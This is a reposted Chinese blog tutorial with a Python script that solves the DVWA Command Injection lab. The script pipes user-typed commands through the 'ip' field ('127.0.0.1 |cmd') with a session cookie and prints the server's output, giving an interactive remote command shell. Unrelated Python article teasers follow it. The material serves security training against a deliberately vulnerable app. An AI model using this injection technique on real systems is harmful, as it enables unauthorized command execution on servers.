dvwa——Command Injection初级、中级和高级python脚本解法(一)

简介: dvwa——Command Injection初级、中级和高级python脚本解法(一)

本文转载:https://xiaochuhe.blog.csdn.net/article/details/122658583
输入127.0.0.1命令,查看DVWA的command execute页面的源代码,如下图所示:

通过查询得知pre是唯一的,因此需要将返回页面中的pre标签提取出来,最为方便的是使用BeautifulSoup模块,这个模块的主要功能是解析并提取网页中的数据。

python爬虫——Beautiful Soup库(数据解析)详细说明_xiaofengdada的博客-CSDN博客

python爬虫——request模块(一)_xiaofengdada的博客-CSDN博客_python request
话不多说,直接上源码,不懂参考上面博客:

import requests
#import json
from bs4 import BeautifulSoup
while True:
    cmd = input("请输入您要执行的命令行:").strip()
    #if len(cmd) == 0:
        #continue
    if cmd == 'quit':
        break
    header = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0',
        'Cookie':'security=medium; PHPSESSID=9fvvn8hc6iq55cs3vgbpahvoj0'
    }
    url = "http://x.x.x.x/dvwa/vulnerabilities/exec/#"
    data = {
        'ip':'127.0.0.1 |%s'%cmd,
        'Submit':'Submit'
    }
    res = requests.post(url=url,headers=header,data=data)
    #print(res.text)
    marry =BeautifulSoup(res.text,'lxml')
    for pre in marry.find_all(name='pre'):
        print(pre.string)

输出结果:
图片.png

初级和高级的只要把请求头里面的security设置为low和high即可!

相关文章
|
1天前
|
API 调度 开发者
探索Python中的异步编程:从基础到高级应用
【5月更文挑战第15天】 在现代软件开发中,异步编程已成为提升应用程序性能和用户体验的关键。本文将深入探讨Python中的异步编程概念,包括其基本工作原理、关键技术以及高级应用场景。我们将通过实例代码演示如何有效利用Python的异步特性,从而帮助读者构建更加高效和响应迅速的软件解决方案。
|
1天前
|
Python Perl
LabVIEW调用Perl和Python脚本
LabVIEW调用Perl和Python脚本
11 2
|
1天前
|
缓存 人工智能 算法
编写高效的Python脚本:性能优化的策略与技巧
编写高效的Python脚本需要综合考虑多个方面,包括代码结构、数据结构和算法选择等。本文将探讨在Python编程中提高脚本性能的方法,包括优化数据结构、选择合适的算法、使用Python内置函数以及通过并行和异步编程提升效率。这些技巧旨在帮助开发者在不同应用场景中编写出高性能的Python代码。
|
1天前
|
存储 网络安全 数据安全/隐私保护
【专栏】Python 网络设备管理中,`ConnectHandler`(Paramiko库)和`telnetlib`模块常用于设备交互。
【4月更文挑战第28天】Python 网络设备管理中,`ConnectHandler`(Paramiko库)和`telnetlib`模块常用于设备交互。`ConnectHandler`简化SSH连接,便于与网络设备交互,而`telnetlib`是Python内置模块,支持Telnet协议的远程登录操作。两者都提供命令执行和响应接收功能。示例代码展示了如何使用它们获取防火墙设备的版本信息,降低了代码复杂度,提高了可读性和维护性。
|
1天前
|
网络安全 数据安全/隐私保护 Python
【专栏】如何使用 Python 编写脚本批量备份交换机配置
【4月更文挑战第28天】本文介绍如何使用 Python 编写脚本批量备份交换机配置。主要步骤包括了解交换机命令和接口,安装 `paramiko` 库,获取交换机登录信息。脚本实现分为建立 SSH 连接,执行备份命令并保存结果。示例脚本中,定义了 `backup_switch_config` 函数遍历交换机列表进行备份,每次备份后等待一段时间。此方法能有效提高网络管理效率。
|
1天前
|
数据可视化 算法 量子技术
qutip,一个高级的 Python 量子力学研究库!
qutip,一个高级的 Python 量子力学研究库!
26 0
|
1天前
|
数据采集 安全 API
阿里云大学考试python中级题目及解析-python高级
阿里云大学考试python中级题目及解析-python高级
|
1天前
|
调度 Python
探索Python中的异步编程:从基础到高级应用
【4月更文挑战第25天】在本文中,我们将深入探讨Python的异步编程世界。首先,我们会了解异步编程的基础概念,然后逐步深入到高级应用。我们的目标是通过实际示例和代码,使读者能够理解和掌握异步编程的核心概念,以及如何在Python中实现它。
|
1天前
|
数据挖掘 数据处理 索引
Python 应知应会的Pandas高级操作
Python 应知应会的Pandas高级操作
69 0
|
1天前
|
存储 数据处理 定位技术
深入Python文件操作:从基础到高级
【4月更文挑战第6天】在Python中,文件操作是基础且关键的任务,涉及读取、写入及其他处理。本文介绍了文件基础,如文件是数据集合,分为文本和二进制文件,以及文件路径的绝对和相对路径。接着,讲解了使用`open()`函数以不同模式(如'r'、'w'、'a'、'b')打开文件,并通过`close()`关闭文件。示例展示了如何打开、写入和关闭文件。
52 0